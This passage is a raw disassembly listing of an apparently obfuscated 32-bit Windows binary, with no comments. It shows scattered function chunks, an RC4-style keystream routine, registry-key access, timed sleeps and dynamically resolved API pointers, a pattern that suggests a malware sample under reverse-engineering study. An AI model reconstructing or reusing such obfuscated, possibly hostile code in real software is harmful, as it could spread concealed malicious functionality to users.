		lea	edx, [ebp+var_4022]
		call	sub_9B3864
		push	[ebp+var_404C]
		pop	eax
		and	eax, eax
		jz	loc_9AB89C
		jmp	loc_9ABDA0
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ADAC4	proc near		; DATA XREF: .text:off_9B9F6Ao

; FUNCTION CHUNK AT 009AAEC8 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AAF9C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AB414 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009AB8E0 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009ABE30 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ABFB4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AD37C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AD454 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD4EB SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AD64C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009ADCDC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AE20C SIZE 00000047 BYTES
; FUNCTION CHUNK AT 009AE6A8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009AF35C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 009AF9F4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AF9FC SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009AFD94 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B0BC0 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009B1BF8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B2224 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B296C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B2AF8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B2DA0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B3110 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B326C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B3334 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B42D8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B4CB0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B4EB8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5E5C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B6318 SIZE 00000024 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8F2D
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword ptr [ebp+8]
		pop	edi
		mov	[ebp-54h], edi
		sub	esi, esi
		mov	eax, [edi+0Ch]
		mov	[ebp-50h], eax
		mov	si, [edi+10h]
		sub	eax, eax
		jmp	loc_9AE20C
sub_9ADAC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_9ADB10	proc near		; CODE XREF: sub_9B27D8-31FBj

; FUNCTION CHUNK AT 009B0170 SIZE 00000037 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9ADB13:				; CODE XREF: sub_9ADB10+9j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_9ADB13
		jmp	loc_9B0170
sub_9ADB10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9ADB20:				; CODE XREF: sub_9AFF64+132Cj
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp+var_120]
		push	edx
		push	80000002h
		pop	edx
		push	dword_9BBE3C
		pop	ecx
		call	sub_9B3A74
		push	eax
		pop	esi
		mov	[ebp+var_230], esi
		lea	eax, [ebp+var_224]
		push	eax
		push	8
		push	dword_9BBD28
		pop	ecx
		push	ecx
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp+var_120]
		push	edx
		push	80000001h
		pop	edx
		push	dword_9BBE3C
		pop	ecx
		call	sub_9B3A74
		cmp	esi, edi
		mov	[ebp+var_22C], eax
		jnz	loc_9ACBD4
		jmp	loc_9B3DF0
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9ADB90:				; CODE XREF: sub_9B1A08-5674j
					; DATA XREF: .text:off_9B9785o
		push	1
		pop	eax
		jmp	loc_9B351E
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9ADB98:				; CODE XREF: sub_9B4950-1FECj
					; DATA XREF: .text:off_9B9E9Fo
		lea	eax, [ecx+ecx*4]
		shl	eax, 3
		cmp	dword_9BEC1C[eax], ebx
		jz	loc_9B3BE0
		jmp	off_9B9CF7
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9ADBB0:				; CODE XREF: sub_9B3EFC+25j
					; DATA XREF: .text:off_9B974Bo
		mov	ecx, eax
		and	ecx, 0FF000000h
		jz	loc_9AD6E0
		jmp	off_9BAA3E
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9ADBC4:				; CODE XREF: sub_9AF25C-387Dj
					; DATA XREF: .text:off_9BAAA9o
		cmp	edi, ebx
		jbe	loc_9B5344
		jmp	loc_9B46B4
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4BF8


loc_9ADBD4:				; CODE XREF: sub_9B4BF8+Cj
		sub	eax, edx
		push	eax
		push	ebx
		mov	eax, esi
		call	sub_9B5100
		lea	edx, [ebp+8]
		push	edx
		push	4
		pop	edi
		call	sub_9AC6A0
		push	off_9B9EF1
		call	sub_9AC6A0
		add	esp, 10h
; END OF FUNCTION CHUNK	FOR sub_9B4BF8
; START	OF FUNCTION CHUNK FOR sub_9ABC20


loc_9ADBF9:				; CODE XREF: sub_9ABC20+9EA4j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_9B1E69
; END OF FUNCTION CHUNK	FOR sub_9ABC20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ADC08:				; CODE XREF: sub_9AB1A0-183j
					; DATA XREF: .text:off_9BA168o
		lea	eax, [esi+esi*4]
		shl	eax, 3
		push	dword_9BEC1C[eax]
		pop	ecx
		test	ecx, ecx
		jz	loc_9ACCA6
		jmp	off_9B9F5E
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9ADC24:				; CODE XREF: sub_9ACA48+A9j
					; DATA XREF: .text:off_9B8D6Do
		mov	dword ptr [ebp-404Ch], 0


loc_9ADC2E:				; CODE XREF: sub_9B19D8+1AD0j
		cmp	dword ptr [ebp-404Ch], 7D0h
		jge	loc_9B5E0C
		jmp	loc_9B109C
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ADC44:				; CODE XREF: sub_9B0930-48B5j
		push	off_9B9224
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+14h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+14h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B245C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ADC78:				; CODE XREF: sub_9B63D8-7C0Cj
					; DATA XREF: .text:off_9B9A8Bo
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		call	dword ptr [ecx+30h]
		sub	eax, [ebp-214Ch]
		push	dword ptr [ebp-2140h]
		pop	ecx
		mov	[ecx], eax
		jnz	loc_9AF306
		jmp	off_9BAED1
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9ADCA0:				; CODE XREF: sub_9B1A08-3C6Dj
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B4C4A
		jmp	loc_9B4C3C
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ADCB0:				; CODE XREF: sub_9AB1A0+5389j
		mov	esi, dword_9BEC30[esi]
		cmp	esi, 0FEFFFFFFh
		jz	loc_9B2911
		jmp	off_9B97B9
; ---------------------------------------------------------------------------


loc_9ADCC8:				; CODE XREF: sub_9AB1A0+A73Ej
					; DATA XREF: .text:off_9B92AAo
		mov	eax, dword_9BEBD0
		or	eax, eax
		jle	loc_9B5B2C
		jmp	off_9BA3F8
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9ADCDC:				; CODE XREF: sub_9ADAC4-268Cj
					; sub_9ADAC4+71FEj ...
		mov	esi, [ebp-4Ch]


loc_9ADCDF:				; CODE XREF: sub_9ADAC4+57ABj
		or	ebx, ebx
		jz	loc_9B0BD3
		jmp	loc_9AD37C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4

; =============== S U B	R O U T	I N E =======================================



sub_9ADCEC	proc near		; CODE XREF: sub_9B2F1C-4891p

; FUNCTION CHUNK AT 009AB4EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AB870 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009ACE2C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AE3D3 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AEB4C SIZE 00000008 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA154
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, dword_9BCB74
		push	ecx
		pop	ebx
		push	dword ptr [eax]
		pop	ecx
		push	off_9B94D7
		call	dword ptr [ecx+18h]
		mov	dword ptr [ebp-4], 0
		push	off_9B88FC
		pop	esi
		push	ebx
		pop	edi
		push	6
		pop	ecx
		rep movsd
		movsw
		push	dword_9BEBD4
		pop	eax
		jmp	loc_9AB4EC
sub_9ADCEC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9ADD4C:				; CODE XREF: sub_9B1A08+3A44j
					; DATA XREF: .text:off_9BB09Bo
		lea	eax, [ebp+var_404C]
		xor	edi, edi
		mov	esi, [ebp+var_41E4]
		call	sub_9AC128
		lea	edx, [ebp+var_402C]
		push	edx
		lea	eax, [ebp+var_41F8]
		push	eax
		lea	ecx, [ebp+var_201C]
		push	ecx
		push	esi
		push	11h
		push	[ebp+var_41EC]
		pop	edx
		push	edx
		lea	eax, [ebp+var_404C]
		push	eax
		jmp	off_9B99F2
; ---------------------------------------------------------------------------


loc_9ADD8C:				; CODE XREF: sub_9B1A08-2B09j
					; sub_9B1A08+A9j ...
		push	[ebp+var_41E4]
		pop	eax
		or	eax, eax
		jz	loc_9B4C4A
		jmp	loc_9ADCA0
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_9ADDA4	proc near		; CODE XREF: sub_9ACEE8+409Ep

; FUNCTION CHUNK AT 009AC55C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AC9C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009ACB7C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ACC20 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE030 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE473 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AE71C SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009AE8A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AED3C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AF1E0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AF238 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AF4E8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B0E64 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B1390 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B1C08 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 009B2210 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B2260 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B2BE4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B30C8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5468 SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B922E
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-18h], esp
		sub	ecx, ecx
		mov	[ebp-4], edi


loc_9ADDD8:				; CODE XREF: sub_9ADDA4+1750j
		mov	[ebp-1Ch], ecx
		cmp	ecx, 93h
		jnb	loc_9B30C8
		jmp	loc_9ACB7C
sub_9ADDA4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9ADDEC:				; CODE XREF: sub_9B1F68+3F85j
		lea	eax, [edx+edx*2]
		shl	eax, 2
		mov	ecx, [eax+ebp-248h]
		test	ecx, ecx
		jnz	loc_9B1480
		jmp	off_9BA7C5
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9ADE10:				; CODE XREF: sub_9AC32C+7E03j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		lea	eax, [esp+324h+var_208]
		push	eax
		push	esi
		call	dword ptr [edx+58h]
		test	eax, eax
		jz	loc_9AEF93
		jmp	off_9B9F0F
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9ADE34:				; CODE XREF: sub_9B1D80-249Fj
		mov	ecx, [edi+4]
		call	sub_9B0FD0
		jmp	loc_9B1D5B
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ADE44	proc near		; CODE XREF: sub_9B2C30+Ej

; FUNCTION CHUNK AT 009B6038 SIZE 00000001 BYTES

		push	ebx


loc_9ADE45:				; CODE XREF: sub_9ADE44+49j
		mov	cl, [eax]
		mov	bl, [eax+1]
		inc	cl
		mov	[eax], cl
		movzx	ecx, cl
		mov	dl, [eax+ecx+2]
		add	bl, dl
		lea	ecx, [eax+ecx+2]
		mov	dl, bl
		mov	[eax+1], bl
		mov	bl, [ecx]
		movzx	edx, dl
		mov	dl, [eax+edx+2]
		mov	[ecx], dl
		movzx	ecx, byte ptr [eax+1]
		mov	[eax+ecx+2], bl
		movzx	ecx, byte ptr [eax]
		movzx	edx, byte ptr [eax+1]
		mov	dl, [eax+edx+2]
		add	dl, [eax+ecx+2]
		movzx	ecx, dl
		mov	dl, [eax+ecx+2]
		mov	[esi], dl
		inc	esi
		dec	edi
		jnz	short loc_9ADE45
		jmp	loc_9B6038
sub_9ADE44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ADE94:				; CODE XREF: sub_9B63D8-A9BCj
		mov	eax, [ebp-2124h]
		add	eax, 0FFFFFFFCh
		cmp	edx, eax
		jge	loc_9AF944
		jmp	loc_9B5B20
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ADEAC:				; CODE XREF: sub_9B0930+358Dj
		push	off_9B9717
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+50h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+50h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B51EC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9ADEE0:				; CODE XREF: sub_9B3864+2C32j
					; DATA XREF: .text:off_9B98A3o
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_2028]
		add	ebx, eax
		push	ebx
		mov	ecx, [ebp+var_2064]
		push	ecx
		jmp	loc_9B3D77
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9ADF00:				; CODE XREF: sub_9ABD30+188Fj
					; DATA XREF: .text:off_9B998Eo
		movzx	eax, word ptr [ebp+0]
		and	eax, eax
		jz	loc_9B591C
		jmp	off_9B9797
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9ADF17:				; CODE XREF: sub_9AFC28-448Aj
					; sub_9AFC28-111Bj ...
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ADF3C:				; CODE XREF: sub_9B63D8+A7j
					; DATA XREF: .text:off_9BAE41o
		cmp	word ptr [esi+8], 2
		jnz	loc_9AF944
		jmp	off_9BA8E0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9ADF50:				; CODE XREF: sub_9B3EFC-5495j
					; DATA XREF: .text:off_9B87BFo
		cmp	eax, 5958C0h
		jz	loc_9AD6E0
		jmp	off_9BAB6E
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B19D8


loc_9ADF64:				; CODE XREF: sub_9B19D8+2Aj
		mov	eax, [ebp-405Ch]
		test	eax, eax
		jz	loc_9B5E0C
		jmp	off_9B920B
; END OF FUNCTION CHUNK	FOR sub_9B19D8
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3618


loc_9ADF7B:				; CODE XREF: sub_9B3618+4Cj
		mov	[ebp+var_4], 0FFFFFFFFh
		movsx	eax, [ebp+var_19]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3618
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9ADF98:				; CODE XREF: sub_9B36E8-724Fj
		or	esi, esi
		js	loc_9ACE6D
		jmp	off_9B89CA
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB040


loc_9ADFA8:				; CODE XREF: sub_9AB040+B516j
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BAD92
		call	dword ptr [ecx+1Ch]
		mov	eax, edi
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_9AB040
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9ADFBC:				; CODE XREF: sub_9B3408+368j
					; DATA XREF: .text:off_9BA690o
		lea	ecx, [ebp-12Ch]
		call	sub_9B5480
		push	dword ptr [ebp-12Ch]
		pop	esi


loc_9ADFCE:				; CODE XREF: sub_9B3408+362j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B62E4
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ADFDC:				; CODE XREF: sub_9AB1A0+4FCAj
		mov	ecx, dword_9BEC28[eax]
		test	ecx, ecx
		jz	loc_9ACCA6
		jmp	loc_9ACC88
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEE5C


loc_9ADFF4:				; CODE XREF: sub_9AEE5C+Aj
					; DATA XREF: .text:off_9B9579o
		push	esi
		lea	esi, [edx+4]
		cmp	esi, 40h
		ja	loc_9B5A71
		jmp	off_9B87B0
; END OF FUNCTION CHUNK	FOR sub_9AEE5C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE008:				; CODE XREF: sub_9B1A08-231j
		mov	[ebp+var_41E0],	0
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	1388h
		call	dword ptr [eax+4]
		push	[ebp+var_41F4]
		pop	esi
		jmp	loc_9B1A92
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AE030:				; CODE XREF: sub_9ADDA4+FA6j
		xor	ebx, ebx
		xor	ecx, ecx


loc_9AE034:				; CODE XREF: sub_9ADDA4+447Aj
		mov	[ebp-28h], esi
		mov	[ebp-24h], ebx
		mov	[ebp-1Ch], ecx
		cmp	ecx, edi
		jge	loc_9B0E64
		jmp	loc_9B2210
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AE04C:				; CODE XREF: sub_9B1F68-51BDj
					; DATA XREF: .text:off_9BAB80o
		shl	esi, 2
		jmp	loc_9AC640
; ---------------------------------------------------------------------------


loc_9AE054:				; CODE XREF: sub_9B1F68-4A1j
					; DATA XREF: .text:off_9B8A0Ao
		push	dword ptr [ebp-3Ch]
		pop	eax
		dec	eax
		mov	[ebp-3Ch], eax
		mov	ecx, [ebp+eax*4-3E0h]
		mov	[ebp-44h], ecx
		push	1
		push	ebx
		call	sub_9B0E7C
		call	sub_9B46CC
		mov	[ebp-5Ch], eax
		push	eax
		lea	esi, [ebp-70h]
		push	dword ptr [ebp-44h]
		pop	eax
		call	sub_9AC250
		call	sub_9B45AC
		shl	eax, 1
		not	eax
		and	eax, 2
		xor	edx, edx
		mov	dx, [ebp+eax*4-70h]
		push	edx
		xor	eax, eax
		mov	edx, [ebp-44h]
		lea	esi, [ebp-2Ch]
		call	sub_9B1334
		mov	eax, dword_9BCB74
		push	dword ptr [eax+10h]
		pop	ecx
		push	10h
		mov	edx, esi
		push	edx
		jmp	sub_9B2C70
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9AE0B8:				; CODE XREF: sub_9B31A8-1EA7j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	1388h
		call	dword ptr [edx+4]
		jmp	loc_9B12F1
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AE0D3:				; CODE XREF: sub_9B3864-43D8j
					; sub_9B3864+539j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	[ebp+var_1C]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE0FC:				; CODE XREF: sub_9B0930-1637j
					; DATA XREF: .text:off_9B9707o
		push	off_9B9910
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+28h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+28h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BB00E
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AE134:				; CODE XREF: sub_9AB1A0+9BD8j
		lea	esi, [ebx+ebx*4]
		shl	esi, 3
		mov	eax, dword_9BEC1C[esi]
		test	eax, eax
		jz	loc_9ABD29
		jmp	off_9BA410
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE150:				; CODE XREF: sub_9B0930+1358j
		push	off_9B9747
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx+10h]
		mov	[ecx+48h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+48h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8C60
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B6264


loc_9AE18F:				; CODE XREF: sub_9B6264-590j
					; sub_9B6264+62j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-9A0h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B6264
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AE400


loc_9AE1B8:				; CODE XREF: sub_9AE400+1502j
		mov	[ebp+var_1C], 1
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	4E20h
		call	dword ptr [eax+4]
		jmp	loc_9B43AB
; END OF FUNCTION CHUNK	FOR sub_9AE400
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE1D8:				; CODE XREF: sub_9B1A08-2B0Fj
		lea	edx, [edi+ebp-41DCh]
		push	[ebp+var_41EC]
		pop	ecx
		push	ecx
		mov	ecx, [ebp+var_41E4]
		call	sub_9AB7C0
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_9B59AB
		jmp	loc_9B59A0
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AE20C:				; CODE XREF: sub_9ADAC4+47j
		or	ebx, 0FFFFFFFFh
		mov	[ebp-4Ch], esi
		xor	ecx, ecx
		mov	[ebp-4], eax
		mov	[ebp-44h], ebx
		mov	[ebp-84h], eax
		mov	[ebp-80h], ecx
		mov	[ebp-7Ch], ecx
		mov	[ebp-78h], ecx
		mov	[ebp-74h], ecx
		mov	[ebp-70h], ecx
		mov	[ebp-6Ch], ecx
		mov	[ebp-68h], ecx
		mov	[ebp-64h], ecx
		mov	[ebp-60h], ecx
		push	6
		movzx	edx, si
		push	edx
		call	sub_9AE400
		and	eax, eax
		jz	loc_9B4EB8
		jmp	loc_9B42D8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE254:				; CODE XREF: sub_9B0930-2F40j
		push	dword ptr [eax+10h]
		pop	edx
		test	edx, edx
		jz	loc_9B23EF
		jmp	loc_9AE574
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
